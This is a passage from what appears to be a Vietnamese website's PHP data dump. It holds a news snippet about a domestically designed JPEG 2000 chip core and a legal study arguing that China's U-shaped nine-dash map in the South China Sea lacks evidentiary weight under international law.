trong việc cung cấp linh kiện điện tử trong nước; hạn chế sự phụ thuộc vào linh kiện nước ngoài; góp phần làm giảm giá thành sản phẩm điện tử làm ra để có thể cạnh tranh mạnh mẽ với các sản phẩm cùng loại trong và ngoài nước.</div> <div> </div> <div> Tại lễ công bố, ICDREC và công ty cổ phần Điện tử Biên Hòa (Belco) đã ký kết hợp tác cùng phát triển lõi IP nén ảnh JPEG 2000 của ICDREC thành chip xử lí để ứng dụng cho các sản phẩm mà Belco đang sản xuất.</div> ', 'images' => '201606150908575e1f128ae6bd71960aa75fdd584b9db5.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-15', 'modified' => '2025-08-18', 'status' => '1', 'view' => '59449', 'slug' => 'tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '703', 'rght' => '704', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) ) $detailNews = array( 'Post' => array( 'id' => '418', 'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ', 'code' => null, 'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '', 'content' => '<br /> <img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br /> <br /> <div> Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div> <div> Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div> <div> </div> <div> </div> <div> I. BẢN ĐỒ TRUNG QUỐC</div> <div> </div> <div> A. Nền tảng</div> <div> </div> <div> Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div> <div> </div> <div> Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div> <div> </div> <div> B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div> <div> </div> <div> Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div> <div> </div> <div> TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div> <div> </div> <div> Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div> <div> </div> <div> 1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div> <div> </div> <div> 2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div> <div> </div> <div> 3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div> <div> </div> <div> 5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div> <div> </div> <div> Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div> <div> </div> <div> Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div> <div> </div> <div> II. CÁC YÊU SÁCH</div> <div> </div> <div> Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div> <div> </div> <div> A. Yêu sách lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò 